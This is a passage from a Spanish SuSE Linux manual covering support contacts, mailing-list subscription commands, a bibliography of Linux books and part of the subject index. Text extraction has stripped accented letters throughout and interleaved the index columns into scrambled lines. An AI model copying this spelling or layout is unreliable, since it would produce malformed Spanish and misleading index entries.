fecha de registro pero no ms que 60 das despus de la salida al mercado de
la siguiente versin.

H.2.1 Cmo contactar el equipo de soporte de SuSE?

Puede contactar nuestro equipo de soporte va E-Mail, Fax, carta o telfono.


Cuando formule una pregunta, asegrese de que el medio de comunicacin
deseado realmente funciona. Con frecuencia tenemos problemas de respon-
der a las preguntas, porque p. ej. el fax del cliente no est continuamente
encendido (modemfax de una computadora) o por una direccin de E-Mail,
que es incorrecta o no responde.

Cuando enve un E-Mail vigile por favor de no incluir ningn attachment.


Si quiere mandar p. ej. ficheros de registro, pngalos directamente dentro
del texto. Especialmente evite mandar ficheros en un formato propietario
(p. ej. de un paquete ofimtico) normalmente no tenemos los filtros ade-
cuados para leerlos. Tampoco hace falta que nos mande textos en formato
HTML; se trata de una caracterstica de su navegador que se puede suprim-
ir.

Segn el medio de comunicacin usado, nuestro equipo de soporte est a su


disposicin durante el horario indicado a continuacin:

 por E-Mail
Direccin: support@suse.de
Atencin: Durante toda la semana.
 por WWW (E-Mail)
Direccin: http://www.suse.de/supp-form.html
Atencin: Durante toda la semana.
 por Fax
Nmero de Fax: +49-9 11 3 20 67 477
Atencin: Durante toda la semana.
 por carta
Direccin: SuSE GmbH
Support
Schanzckerstr. 10
D-90443 Nrnberg
Atencin: Durante toda la semana.

H.3 Servicios adicionales


Tambin queremos indicar una serie de servicios adicionales que estn a dis-
posicin las 24 horas del da. Estos son:

484
H.3. Servicios adicionales

 SuSE WWW-Server
http://www.suse.de
Informacin actualizada, catlogos, servicio de encargo, formulario de
soporte, banco de datos de soporte.
 Listas de correo de SuSE (Informacin y foros de discusin va E-Mail):
suse-announce@suse.de Anuncios e informaciones de SuSE
GmbH (alemn)
suse-announce-e@suse.de Anuncios e informaciones de SuSE
GmbH (ingls)
suse-linux@suse.de Discusiones entorno a la distribucin SuSE
Linux (alemn)
suse-linux-e@suse.de Discusiones entorno a la distribucin
SuSE Linux (ingls)
suse-isdn@suse.de RDSI (ingl. ISDN) con SuSE Linux
suse-adabas@suse.de Informaciones y discusiones sobre Adabas-
D bajo SuSE Linux
suse-applix@suse.de Intercambio de experiencias con el paquete
Applixware de SuSE GmbH
suse-informix@suse.de Informaciones y discusiones sobre In-
formix bajo SuSE Linux
Para suscribirse a una de las listas de correo, enve sencillamente un E-
Mail a majordomo@suse.com con el comando subscribe como con-
tenido del mensaje; el asunto no importa. Por ejemplo con
subscribe suse-announce

pasar a recibir regularmente anuncios. Igual de sencillo es darse de baja


en una lista de correo. enve otra vez un E-Mail a majordomo@suse.de:
unsubscribe suse-announce

Cuide por favor de mandar el mensaje con su direccin de E-Mail correcta


para que el comando unsubscribe se ejecute correctamente.
 servidor ftp de SuSE
ftp://ftp.suse.com
Informacin actualizada, actualizaciones (updates) y correcciones de er-
rores (Bugfixes).
Debe entrar al sistema como usuario `ftp'.

485
H. Soporte y servicios de SuSE GmbH

486
Bibliografa
[Alm96] A LMESBERGER, Werner: LILO Users guide, 1996. (siehe Datei /usr/doc/
lilo/user.dvi)
[Bai97] BAILEY, Edward C.: Maximum RPM. Red Hat, 1997. (ISBN 1-888172-78-9)
[BBD+ 97] B ECK, Michael ; B HME, Harald ; D ZIADZKA, Mirko ; K UNITZ, Ulrich ; M AG -
NUS , Robert ; V ERWORNER, Dirk: Linux-Kernel-Programmierung. 4. Addison
Wesley GmbH, 1997. (ISBN 3-8273-1144-6)
[BD98] B ORKNER -D ELCARLO, Olaf: Linux im kommerziellen Einsatz. Carl Hanser Verlag,
1998. (ISBN 3-446-19465-7)
[CAR93] C OSTALES, Bryan ; A LLMAN, Eric ; R ICKERT, Neil: sendmail. OReilly & Asso-
ciates, Inc., 1993. (ISBN 1-56592-056-2)
[CR91] C AMERON, Debra ; ROSENBLATT, Bill: Learning GNU Emacs. OReilly & Asso-
ciates, Inc., 1991. (ISBN 0 937175-84-6)
[Daw95] DAWSON, Terry: Linux NET-2/NET-3 HOWTO, v2.8, 07 Jan 1995. (siehe Datei
/usr/doc/howto/NET-2-HOWTO)
[EH98] E CKEL, George ; H ARE, Chris: Linux Internet Server. Carl Hanser Verlag, 1998.
(ISBN 3-446-19044-9)
[FCR93] FANG, Chin ; C ROSSON, Bob ; R AYMOND, Eric S.: The Hitchhikers Guide to
X386/XFree86 Video Timing (or, Tweaking your Monitor for Fun and Profit), 1993.
(siehe Datei /usr/X11/lib/X11/doc/VideoModes.doc)
[Fri93] F RISCH, leen: Essential System Administration. OReilly & Associates, Inc.,
1993. (ISBN 0-937175-80-3)
[Gil92] G ILLY, Daniel: UNIX in a nutshell: System V Edition. OReilly & Associates, Inc.,
1992. (ISBN 1-56592-001-5)
[GMR97] G OOSSENS, Michel ; M ITTELBACH, Frank ; R AHTZ, Sebastian: The LATEX Graphics
Companion. Addison Wesley Longman, 1997. (ISBN 0-201-85469-4)
[GMS94] G OOSSENS, Michel ; M ITTELBACH, Frank ; S AMARIN, Alexander: The LATEX
Companion. Addison Wesley GmbH, 1994. (ISBN 0-201-54199-8)
[GMS96] G OOSSENS, Michel ; M ITTELBACH, Frank ; S AMARIN, Alexander: Der LATEX-
Begleiter. Addison Wesley GmbH, 1996. (ISBN 3-89319-646-3)
[Gri94] G RIEGER, W.: Wer hat Angst vorm Emacs?. Addison Wesley GmbH, 1994.
(ISBN 3-89319-620-X)
[GS93] G ARFINKEL, Simson ; S PAFFORD, Gene: Practical UNIX Security. OReilly &
Associates, Inc., 1993. (ISBN 0-937175-72-2)
[Hei96] H EIN, Jochen: Linux-Companion zur Systemadministration. Addison Wesley
GmbH, 1996. (ISBN 3-89319-869-5)

487
Bibliografa

[Her92] H EROLD, H.: UNIX Grundlagen. Addison Wesley GmbH, 1992. (ISBN 3-89319-
542-8)
[HHMK96]H ETZE, Sebastian ; H OHNDEL, Dirk ; M LLER, Martin ; K IRCH, Olaf: Linux
Anwenderhandbuch. 6. LunetIX Softfair, 1996. (ISBN 3-929764-05-9)
[HR98] H LZER, Matthias ; RHRIG, Bernhard: KDE Das K Desktop Environment. 1.
Computer & Literatur, 1998. (ISBN 3-932311-50-7)
[HST97] H OLZ, Helmut ; S CHMITT, Bernd ; T IKART, Andreas: Linux fr Internet & In-
tranet. International Thomson Publishing, 1997. (ISBN 3-8266-0342-7)
[Hun95] H UNT, Craig: TCP/IP Netzwerk Administration. OReilly & Associates, Inc., 1995.
(ISBN 3-930673-02-9)
[JT98] J OHNSON, Michael K. ; T ROAN, Erik W.: Anwendungen entwickeln unter Linux.
Addison Wesley GmbH, 1998. (ISBN 3-8273-1449-6)
[Kir95] K IRCH, Olaf: LINUX Network Administrators Guide. OReilly & Associates, Inc.,
1995. (ISBN 1-56592-087-2)
[Kof97] KOFLER, Michael: Linux Installation, Konfiguration, Anwendung. 3. Addison
Wesley GmbH, 1997. (ISBN 3-8273-1304-X)
[Kop94] KOPKA, Helmut: LATEX-Einfhrung. Addison Wesley GmbH, 1994. (ISBN 3-
89319-664-1)
[Kopff] KOPKA, Helmut: LATEX. Addison Wesley GmbH, 1996 ff.. 3 Bde. (ISBN 3-8273-
1025-3; 3-8273-1229-9; 3-89319-666-8)
[Lam90] L AMB, Linda: Learning the vi Editor. OReilly & Associates, Inc., 1990. (ISBN
0-937175-67-6)
[Lef96a] L EFFLER, Sam: HylaFAX Home Page, 1996
[Lef96b] L EFFLER, Sam: TIFF Software, 1996
[Moh98] M OHR, James: UNIX-Windows-Integration. International Thomson Publishing,
1998. (ISBN 3-8266-4032-2)
[OT92] OR EILLY, Tim ; T ODINO, Grace: Managing UUCP and Usenet. OReilly &
Associates, Inc., 1992. (ISBN 0-937175-93-5)
[Per94] P ERLMAN, G.: Unix For Software Developers. Prentice-Hall, 1994. (ISBN 13-
932997-8)
[Pug94] P UGH, K.: UNIX For The MS-DOS User. Prentice-Hall, 1994. (ISBN 13-146077-
3)
[Rub98] RUBINI, Alessandro: Linux-Gertetreiber. OReilly & Associates, Inc., 1998.
(ISBN 3-89721-122-X)
[SB92] S CHOONOVER, M. ; B OWIE, J.: GNU Emacs. Addison Wesley GmbH, 1992.
(ISBN 0-201-56345-2)
[The96] T HE XF REE 86TM -T EAM: XF86Config(4/5) - Configuration File for Xfree86TM ,
1996. Manual-Page zu XFree86TM
[TSP93] T ODINO, Grace ; S TRANG, John ; P EEK, Jerry: Learning the UNIX operating
system. OReilly & Associates, Inc., 1993. (ISBN 1-56592-060-0)
[Wel94] W ELSH, Matt: Linux Installation and Getting Started. 2. SuSE GmbH, 1994.
(ISBN 3-930419-03-3)
[WK95] W ELSH, Matt ; K AUFMAN, Lars: Running Linux. OReilly & Associates, Inc.,
1995. (ISBN 1-56592-100-3)
[WK98] W ELSH, Matt ; K AUFMAN, Lars: Linux Wegweiser zur Installation & Konfigura-
tion. 2. OReilly & Associates, Inc., 1998. (ISBN 3-930673-58-4)

488
Bibliografa

[WWH98] W ITHERSPOON, Craig ; W ITHERSPOON, Coletta ; H ALL, Jon: Linux fr Dummies.


1. International Thomson Publishing, 1998. (ISBN 3-8266-2725-3)

489
Bibliografa

490
ndice de Materias

Smbolos /opt . . . . . . . . . . . . . . . . . . . . 60 Adaptec


.susefaxrc RPM (rpm) . . . . . . . . . . . . . 450 AHA-152x/151x/1505 321,
SuSEFax . . . . . . . . . . . . . 193 kdm . . . . . . . . . . . . . . . . . . . 394 333
.susephone xdm . . . . . . . . . . . . . . . . . . . 394 AHA-154x . . . . . . . . . . . 322
SuSEFax . . . . . . . . . . . . . 193 XFree86 . . . . . . . . . . . 4, 5, 101 AHA-274x . . . . . . . . . . . 322
/bin . . . . . . . . . . . . . . . . . . . . . 64 Sistema X Window vase X11 AHA-284x . . . . . . . . . . . 322
/etc/conf.modules . . . 311 .Xresources . . . . . . . . . . . 263 AHA-294x . . . . . . . . . . . 322
/etc/fstab . . . . . . . . . . . . . 79 Ajuste previo . . . . . . . . . 262 Adaptec 2920 . . . . . . 325, 334
/etc/inittab . . . . . . . . . 381 Ajustes personalizados . 263 Adaptive Answer Support
/etc/modules.conf . . . 311 Application Defaults . . 262 HylaFAX . . . . . . . . . . . . . 207
/etc/ppp/ppp-down . . . . . . 183 YaST . . . . . . . . . . . . . . 5, 17, 33 Administracin
/etc/printcap . . . . . . . . . . . . 290 YaST Grupos . . . . . . . . . . . . . . . 101
/etc/rc.config . . 101, 387 en la primera instalacin 23 Usuarios . . . . . . . . . . . . . 100
/etc/security/harden_suse.pl . . 1024 cilindros YaST . . . . . . . . . . . . . . . . . . 90
406 LILO Problemas . . . . . . 126 Administrador de sistema 439
/etc/security/undo_harden_suse.pl 1TR6 . . . . . . . . . . . . . . . . . . 167
AdvanSys . . . . . . . . . . . . . . 323
406 3COM 3c501 . . . . . . . . . . . 335
afterstep . . . . . . . . 245, 258
/sbin/SuSEconfig . . . . . . . . 385 3COM 3c503 . . . . . . . 329, 335
AfterStep . . . . . . 241, 245, 258
/sbin/init . . . . . . . . . . . . . . . 381 3COM 3c505 . . . . . . . . . . . 335
Agenda telefnica
/sbin/init.d/nfsserver . . . . . 159 3COM 3c507 . . . . . . . . . . . 335
SuSEFax . . . . . . . . . . . . . 199
/sbin/init.d/rc . . . . . . . . . . . 384 3COM 3c509 . . . . . . . . . . . 335
aic7xxx . . . . . . . . . . . . . . . . 323
/sbin/init.d/rpc . . . . . . . . . . 159 3COM 3c515 . . . . . . . . . . . 335
AIRCOP . . . . . . . . . . . . . . . 109
/usr/sbin/routed . . . . . . . . . 156 3COM 3c579 . . . . . . . . . . . 335
3COM 3c590 . . . . . . . . . . . 335 Ajustar hora . . . . . . . . . . . . 393
/var/lib/apsfilter/SETUP . 294
rbol de directorios . . . . . 455 3COM 3c900 . . . . . . . . . . . 335 Alias . . . . . . . . . . . . . . . . . . . 439
Applixware . . . . . . . . . . . . 394 3dpixm . . . . . . . . . . . . . . . . 261 alien . . . . . . . . . . . . . . . . . . 366
Applixware . . . . . . 59, 61, 357 3dpixms . . . . . . . . . . . . . . . 261 Alien . . . . . . . . . . . . . . . . . . 366
reboot . . . . . . . . . . . . . . . . 394 4front . . . . . . . . . . . . . . . . . . 274 allman . . . . . . . . . . . . . . . . 358
shutdown . . . . . . . . . . . . . . 394 9wm . . . . . . . . . . . . . . . . . . . 243 $allowed . . . . . . . . . . . . . . . 297
LILO . . . . . . . . . . . . . . . . . . . 94 AM53/79C974 . . . . . . . . . . 323
Configuracin . . . . . . . . 111 A AMD 53/79C974 . . . . . . . . 323
Dnde instalar . . . . . . . . 109 a2ps . . . . . . . . . . . . . . . 292, 293 AmigaOS . . . . . . . . . . . . . . 452
Interfaz . . . . . . . . . . . . . . 108 Acrnimo (Sigla) . . . . . . . . 439 Andrew Tridgell . . . . . . . . 209
Lo que es . . . . . . . . . . . . . 108 Actualizacin . . . . . . . . . 5, 353 Anfitrin . . . . . . . . . . . . . . . 439
Partes . . . . . . . . . . . . . . . . 109 Instalar paquetes . . . . . . . 88 apache . . . . . . . . . . . . . . . . . 374
LILO . . . . . . . . . . . . . . 123, 124 Actualizar sistema apache . . . . . . . . . . . . 373, 403
/etc/host.conf . . . . . . . 389 YaST . . . . . . . . . . . . . . . . . . 90 Apagar . . . . . . . . . . . . . . . . . 412
/etc/hosts . . . . . . . . . . . . 389 Adabas . . . . . . . . . . . . . . . . . 394 apassl . . . . . . . . . . . . . . . . 403
/etc/resolv.conf . . . . 389 Adabas D . . . . . . . . . . . . . . . . . 6 Aplicaciones

491
ndice de Materias

Ficheros de configuracin . . Texinfo . . . . . . . . . . . . . . . . . 8 cardmgr . . . . . . . . . . . . . . . 137


262 Aztech CD-ROM . . . . . . . . 340 cat . . . . . . . . . . . . . . . . . . . . . 418
app-defaults . . . . . . . . . . . . 262 CD . . . . . . . . . . . . . . . . . . . . 470
Apple . . . . . . . . . . . . . . . . . . 448 B CD defectuoso . . . . . . . . . . . 53
Apple Macintosh . . . . . . . . 443 Bfer . . . . . . . . . . . . . . . . . . 440 CD-Live-System . . . . . . vase
Applix . . . . . . . . . . . . . . . . . . . 3 Bsqueda de texto . . . . . . . 374 Live-System
aps . . . . . . 287, 292, 294, 305 Backup . . . . . . . 102, 421, 440 CD-ROM . . . . . . . . . . . . . . . 440
apsfilter . . . . . vii, 91, 92, 287, Banco de datos ATAPI . . . . . . . . . . . . . . . 325
291299, 304, 305 PostgreSQL . . . . . . . . . . 358 Aztech . . . . . . . . . . 330, 340
Colas de impresin . . . . 292 Banco de datos de soporte . . 7 EIDE . . . . . . . . . . . . . . . . 325
Comprobacin . . . . . . . . 305 bash . 160, 418, 451, 460, 461, Goldstar . . . . . . . . . 330, 340
Configuracin . . . . 293, 296 486 Mitsumi . . . . . . . . . 330, 340
Impresora de red . . . . . . 297 Bash . . . . . . . . . . . . . . . . . . . 356 Mitsumi FX-001(D) . . 330,
apsfilterrc . . . . . . . . . . . . . . 296 bin/faxrcvd . . . . . . . . . . . . . 208 340
Arcad . . . . . . . . . . . . . . . . . . . 61 bind . . . . . . . . . . . . . . . . . . . 151 Mitsumi Multisession . 331,
arena . . . . . . . . . . . . . . . . 7, 393 bind . . . . . . . . . . . . . . 187, 410 340
Argus . . . . . . . . . . . . . . . . . . 394 binutils . . . . . . . . . . . . . . 309 Mozart . . . . . . . . . . 331, 340
Arkeia . . . . . . . . . . . . . . . . . 394 BIOS . . . . . . . . . . . . . . . . . . 440 Optics Storage . . . 331, 341
Arrancar . . . . . . 381, 412, 439 bitmap . . . . . . . . . . . . . . . . . 250 Panasonic . . . . . . . . 332, 342
Bootmanager . . . . . . . . . 107 books . . . . . . . . . . . . . . . . . . . 10 Philips CM206 . . . 331, 341
Conceptos . . . . . . . . . . . . 106 Boot . . . . . . . . . . . . . . . 440, 463 Sanyo . . . . . . . . . . . 331, 341
desde disquetes . . . . . . . . 48 boot.local . . . . . . . . . . . . . . 384 se para . . . . . . . . . . . . . . . . 57
Gestor de arranque . . . . 107 boot.sys . . . . . . . . . . . . . . . . 107 Sony CDU31A . . . 332, 341
LILO . . . . . . . . . . . . . . . . 105 Bootloader . . . . . . . . . . . . . 105 Sony CDU33A . . . 332, 341
Linux originario . . . . . . . . 42 Bootmanager . . . . . . . . . . . 105 Sony CDU535 . . . . 332, 341
Mtodos . . . . . . . . . . . . . . . 35 boot.sys . . . . . . . . . . . . . . 107 SoundBlaster Pro 16 . . . 342
Mecanismo de arranque con LILO . . . . . . . . . . . . . . . . 107 CD-ROM-ATAPI se traba . 53
loadlin . . . . . . . . . . . . . 129 OS/2 . . . . . . . . . . . . . . . . . 107 CD-ROM-se traba . . . . 53, 54
Parmetros . . . . . . . . . . . 317 Windows NT . . . . . . . . . 107 cdb . . . . . . . 51, 223, 305, 357
Proceso . . . . . . . . . . . . . . 105 Borrar CDE . . . . . . . . . . . . . . . . . . . 242
Arranque . . . . . . . . . . 105, 463 Directorio . . . . . . . . . . . . 416 cdesim . . . . . . . . . . . . . . . . 258
Particin raz . . . . . . . . . 320 Ficheros . . . . . . . . . . . . . . 420 cdesim . . . . . . . . . . . . . . . . 258
ASCII . . . . . . . . . . . . . . . . . . 439 LILO . . . . . . . . . . . . . . . . 118 CDEsim . . . . . . . . . . . . . . . . 258
AT1700 . . . . . . . . . . . . . . . . 335 Linux . . . . . . . . . . . . . . . . 118 chat . . . . . . . . . . . 179, 182185
ATAPI . . . . . . . . . . . . . . . . . 439 Bowman . . . . . . 241, 242, 258 Cinta
atd . . . . . . . . . . . . . . . . . . . . . 392 BSD . . . . . . . . . . . . . . . . . . . 428 SCSI . . . . . . . . . . . . . . . . . 321
Autentificacin . . . . . . . . . 360 Bug . . . . . . . . . . . . . . . . . . . . 469 Cirrus . . . . . . . . . . . . . . . . . . 137
autoexec.bat . . . . . . . . . . . . 129 BusLogic . . . . . . . . . . . . . . . 324 Client
autoexec.bat . . . . . . . . . 385 Busmouse . . . . . . . . . . . . . . 229 FTP . . . . . . . . . . . . . . . . . . 444
autofs . . . . . . . . . . . . . . . . . . 391 Logitech . . . . . . . . . . . . . 330 Clock-Chip . . . . . . . . . . . . . 231
autofs . . . . . . . . . . . . . . . . 391 cnews . . . . . . . . . . . . . . . . . . 359
Autofs . . . . . . . . . . . . . . . . . 391 C Coherent . . . . . . . . . . . . . . . 428
Automounter . . . . . . . . . . . 391 C . . . . . . . . . . . . . . . . . . . . . . 309 Cola de envo . . . . . . . . . . . 199
Autorizaciones 395, 416, 419, C News . . . . . . . . . . . . . . . . 359 Cola de impresin
422 Cdigo de registro . . . . . . . 469 Trmino . . . . . . . . . . . . . . 286
AVM-B1 . . . . . . . . . . . . . . . 167 Cdigo fuente . . . . . . . . . . . 470 Cola de recepcin . . . . . . . 198
awk . . . . . . . . . . . . . . . . . . . . . . 4 Caballo de Troya . . . . . . . . 402 Colas de impresin
Ayuda . . . . . . . . . . . . . 393, 467 Cabletron E21xx . . . . . . . . 335 apsfilter . . . . . . . . . . . . . . 292
FAQ . . . . . . . . . . . . . . . . . . . 9 Cabletron E21XX . . . . . . . 329 Funcionamiento de . . . . 287
HowTo . . . . . . . . . . . . . . . . . 9 Card-Manager . . . . . . . . . . 137 Colores . . . . . . . . . . . . . . . . 248
Libros . . . . . . . . . . . . . . . . . 10 cardctl . . . . . . . . . . . . . 139, 140 colortbl . . . . . . . . . . . . . . 359
Manpage . . . . . . . . . . . . . . . 9 cardctl status . . . . . . . . . . . . 140 Comando . . . . . . . . . . . . . . . 413
README . . . . . . . . . . . . . . 9 cardinfo . . . . . . . . . . . . . . . . 140 df . . . . . . . . . . . . . . . . . . . 425

492
ndice de Materias

du . . . . . . . . . . . . . . . . . . . 426 curses . . . . . . . . . . . . viii, 380 Borrar . . . . . . . . . . . . . . . . 416


free . . . . . . . . . . . . . . . . . 425 Cursor . . . . . . . . . . . . . 250, 441 Cambiar . . . . . . . . . . . . . . 416
kill . . . . . . . . . . . . . . . . . 426 Cut-and-Paste . . . . . . . . . . . 470 Generar . . . . . . . . . . . . . . 416
ps . . . . . . . . . . . . . . . . . . . 427 Cyberscheduler Software . . 61 Directorio de usuario . . . . 442
pstree . . . . . . . . . . . . . . 427 Cygnus Source-Navigator . 61 Directorio raz . . . . . . . . . . 442
top . . . . . . . . . . . . . . . . . . 427 Dirk Hohndel . . . . . . . . . . . . 10
w . . . . . . . . . . . . . . . . . . . . 425 D Disco duro
Comandos . . vase Comandos D-Link DE620 . . . . . . . . . . 339 adicional . . . . . . . . . . . . . 471
Bsicos . . . . . . . . . . . . . . 415 Daemon Parmetro . . . . . . . . . . . . 326
Comandos bsicos . . . . . . . 415 named . . . . . . . . . . . . . . . 392 Disminuir tamao de particin
Comodines . . . . . . . . . 418, 440 routed . . . . . . . . . . . . . . . . 392 45
Compaq . . . . . . . . . . . . . . . . . . 3 rwhod . . . . . . . . . . . . . . . . 391 $DISPLAY . . . . . . . . . . . . . 453
compilar . . . . . . . . . . . . . . . 467 Daemon Cron . . . . . . . . . . . 394 Dispositivo . . . . . . . . . . . . . 442
Conceptos de arranque . . . 106 Daemon de kernel . . . . . . . 391 Disquete
conf.modules . . . . . . . . . 311 Databook . . . . . . . . . . . . . . . 137 Arrancar de . . . . . . . . . . . 107
config.sys . . . . . . . . . . . . . . 129 DB2 . . . . . . . . . . . . . . . . . . . 394 Disquete de arranque 19, 107,
Configuracin DE203 . . . . . . . . . . . . . . . . . 336 110
Cambiar . . . . . . . . . . 85, 385 DE204 . . . . . . . . . . . . . . . . . 336 Crear con rawrite . . . . . . . 49
Cargar . . . . . . . . . . . . . . . . 84 DE205 . . . . . . . . . . . . . . . . . 336 Crear con Setup . . . . . . . . 48
E-Mail . . . . . . . . . . . . . . . 186 DEC . . . . . . . . . . . . . . . . . . . 219 Generar (con LILO) . . . 119
Escritorio . . . . . . . . . . . . . 262 Defrag . . . . . . . . . . . . . . . . . . 46 Generar con dd . . . . . . . . . 49
LILO . . . . . . . . . . . . . . . . 111 Defragmentacin . . . . . . . . 470 Disquete de rescate . . . . . . 376
Primera instalacin . . . . . 30 Denial-of-Service . . . . . . . 404 Disquete formatear . . . . . . . 49
Red . . . . . . . . . . . . . . . . . . 148 Densidad de inodos . . . . . . 441 Disquetera . . . . . . . . . . . . . . 329
Salvar . . . . . . . . . . . . . . . . . 85 depmod . . . . . . . . . . . . . . . . 310 intercambiar . . . . . . . . . . . 56
Tiempo de red . . . . . . . . 393 Derechos . . . . . . . . . . . . . . . 395 modificar para arrancar . 56
Windowmanager . . . . . . 262 Descripcin de paquetes . . 87 Disquetera LS120 . . . . . vase
X11 . . . . . . . . . . . . . 220, 229 Desinstalacin Hardware, Disquetera
Configuracin del sistema . . . . LILO . . . . . . . . . . . . . . . . 117 LS120
101, 387 Desktop Disquetera ZIP . . . . . . . . vase
Configuraciones . . . . . . . . . . 84 Colores . . . . . . . . . . . . . . 248 Hardware, Disquetera ZIP
Consola . . . . . . . . . . . . 394, 440 Fuentes . . . . . . . . . . . . . . 248 Distribucin de teclado . . 367
virtual . . . . . . . . . . . . . . . . 440 Tipo de letra . . . . . . . . . . 248 Distribucin del teclado
Consola de texto . . . . . . . . 394 Device . . . . . . . . . . . . . . . . . 237 incorrecta en modo
Consola, virtual . . . . . . . . . 415 Device-Section . . . . . . . . . . 237 MS-DOS . . . . . . . . . . . . 52
Consolas virtuales . . . . . . . 415 df . . . . . . . . . . . . . . . . . . . . . 425 DNS . . . . . . . . . . . . . . 187, 390
Constructirola . . . . . . . . . . . . . 7 dhclient . . . . . . . . . . . . . . . 96 DNS-Domain . . . . . . . . . . . 158
Contenido de la instalacin 84 DHCP . . . . . . . . . . . . . . . . . 392 doc . . . . . . . . . . . . . . . . . . . . 411
Contrasea . . . . . . . . . . . . . 411 configurar cliente . . . . . . . 96 docbkdsl . . . . . . . . . . . . . . 359
Corel . . . . . . . . . . . . . . . . . . . . . 3 diald . . . . . . . . . . . . . . . . . . . 391 DocBook . . . . . . . . . . . . . . . 359
Correo . . . . . . . . . vase E-Mail Digital . . . . . . . . . . . . . . . . . 336 dochost . . . . . . . . . . . . . . . . . . 61
Cortafuegos . . . . . . . . . . . . 471 Digital DEPCA . . . . . . . . . 336 dochost . . . . . . . . . . . 374, 375
cp . . . . . . . . . . . . . . . . . . . . . 420 Digital Equipment Corporation Documentacin . . . . . . . 7, 373
CPU . . . . . . . . . . . . . . . . . . . 440 219 Ficheros . . . . . . . . . . . . . . . . 9
Crash . . . . . . . . . . . . . . . . . . 463 Digital Research . . . . . . . . 443 Leer . . . . . . . . . . . . . . . . . . . . 9
CRC Direccin de Gateway . . . 147, Servidor para
Error . . . . . . . . . . . . . . . . . . 57 149 documentacin . . . . . . 393
cron . . . . . . . . . . . . . . . 359, 379 Direccin de red . . . . . . . . 155 docview
cron . . . . . . . . . . . . . . . viii, 379 Direccin IP . . . 82, 147, 149, SuSEFax . . . . . . . . . . . . . 197
cron.daily . . . . . . . . . . . . . . 395 155, 441 Dominio . . . . . . . . . . . . . . . 154
crontab . . . . . . . . . . . . . . . . . 188 dinmica . . . . . . . . . . . . . 389 Dominio DNS . . . . . . . . . . 158
Ctwm . . . . . . . . . 241, 242, 258 Direccin IP dinmica . . . 389 Dominio NIS . . . . . . . . . . . 158
curses . . . . . . . . . . . . . . . . . 380 Directorio . . . . . . . . . . . . . . 442 DOS . . . . . . . . . . . . . . . . . . . 428

493
ndice de Materias

Arrancar . . . . . . . . . . . . . 124 Error . . . . . . . . . . . . . . . . . . . 469 Atributos . . . . . . . . 416, 422


Booten . . . . . . . . . . . . . . . 121 Escner . . . . . vase Hardware, Autorizaciones . . . . . . . . 416
Generar particiones Linux . . Escner Buscar . . . . . . . . . . . . . . . 420
46, 47 Configuracin . . . . . . . . . . 90 Comandos . . . . . . . . . . . . 416
Men de arranque . . . . . 129 Escner de sobremesa . . . 283 Enlace . . . . . . . . . . . . . . . 421
DOS-Comandos vase mtools Escner plano . . . . . . . . . . . 283 Guardar . . . . . . . . . . . . . . 421
DOS-Disquetes Escritorio Link . . . . . . . . . . . . . . . . . 421
Acceso . . . . . . . . . . . . . . . 430 Configuracin . . . . . . . . 262 Fichero de configuracin . 387
DOS-Setup . . . . . . . . . . . . . . 41 Cursor . . . . . . . . . . . . . . . 250 Fichero FIFO . . . . . . . . . . . 203
Driver de impresora . . . . vase Fondo . . . . . . . . . . . . . . . . 247 Ficheros
Filtro de impresin, 348 Iconos . . . . . . . . . . . . . . . 249 Atributos . . . . . . . . . . . . . 419
Drivespace . . . . . . . . . . . . . . . 55 Esquema de notificacin Autorizaciones . . . . . . . . 419
DSS1 . . . . . . . . . . . . . . . . . . 167 SuSEFax . . . . . . . . . . . . . 196 Borrar . . . . . . . . . . . . . . . . 420
du . . . . . . . . . . . . . . . . . . . . . 426 Establecer sistemas de fichero Buscar . . . . . . . . . . . . . . . . 88
Dummy-Device . . . . . . . . . 389 76 Copiar . . . . . . . . . . . . . . . 420
dump . . . . . . . . . . . . . . . . . . . 68 Estado del sistema . . . . . . . 425 Mover . . . . . . . . . . . . . . . 420
dumpe2fs . . . . . . . . . . . . . . . 379 Ethernet . . . . . . . . . . . . . . . . 443 Oculto . . . . . . . . . . . . . . . 419
dvips . . . . . . . . . . . . . . . . . . . 292 EtherTeam 16i/32 . . . . . . . 338 ocultos . . . . . . . . . . . . . . . 461
Explicacin de comandos 424 Renombrar . . . . . . . . . . . 420
E exportar . . . . . . . . . . . . . . . . 159 Ficheros de configuracin 150
E-Mail . . . . . . . . . . . . . . . . . 442 exports . . . . . . . . . . . . . . . . . 159 Ficheros de registro . . . . . 396
Configuracin . . . . . . . . 186 EXT2 . . . . . . . . . . . . . . . . . . 443 Ficheros de texto
e2fsck . . . . . . . . . . . . . 378, 379 Leer . . . . . . . . . . . . . . . . . . . . 9
Manpage . . . . . . . . . . . . . 463 F Ficheros inamovibles . . . . . 52
2fsck . . . . . . . . . . . . . . . . . . 463 Falta dirver de CD-ROM . . 52 Ficheros ocultos . . . . . . . . . 419
Eagle . . . . . . . . . . . . . . . . . . . 61 FAQ . . . . . . . . . . . . . . . . . . . 467 Ficheros temporales
Eberhard Mnkeberg . . . . . 10 FAQ-ficheros . . . . . . . . . . . . . . 9 Borrar . . . . . . . . . . . . . . . . 396
Editor . . . . . . . . . . . . . . . . . . 442 FAT32 . . . . . . . . . . . . . . . . . . . 46 Ficheros-Info . . . . . . . . . . . . . 8
Editor de entradas Fax Ficheros-Texinfo . . . . . . . . . . 8
SuSEFax . . . . . . . . . . . . . 200 Hylafax . . . . . . . . . . . . . . 393 file . . . . . . . . . . . . . . . . . . . . . 292
Editores Fax hora de envo File Transfer Protocol . . . . 202
vi . . . . . . . . . . . . . . . . . . . . 434 SuSEFax . . . . . . . . . . . . . 198 Files . . . . . . . . . . . . . . . . . . . 237
editres . . . . . . . . . . . . . . . . . 263 fax2ps . . . . . . . . . . . . . . . . . 197 Files-Section . . . . . . . . . . . . 237
EIDE-Chipsets . . . . . . . . . . 326 faxcover . . . . . . . . . . . . . . . . 201 Filtro
ELF . . . . . . . . . . . . . . . . . . . 442 faxcover . . . . . . . . . . . . . . 201 apsfilter-configuracin . 293
emacs . . . . . . . . . . . . . . . 8, 442 FaxCovergen.class . . . . . . 201 Filtro de impresin
Emacs 4, 8, 61, 191, 358, 366, FaxCovergen.class apsfilter . . . . . . . . . . . . . . 292
380, 444 SuSEFax . . . . . . . . . . . . . 201 apsfilter-configuracin . 293
Email . . . . . . . . . . . . . . . . . . 163 faxgetty . . 203, 204, 207, 208 para impresora de red . . 297
Emergencia faxmodem . . . . . . . . . . . . . . 203 Filtros
Sistema de rescate . . . . . 376 faxprint . . . . . . . . . . . . . . 201 apsfilter . . . . . . . . . . . . . . 292
emm386.exe . . . . . . 35, 41, 42 faxq . . . . . . . . . . . . . . . . . . . 203 Filtros de impresin . . . 290,
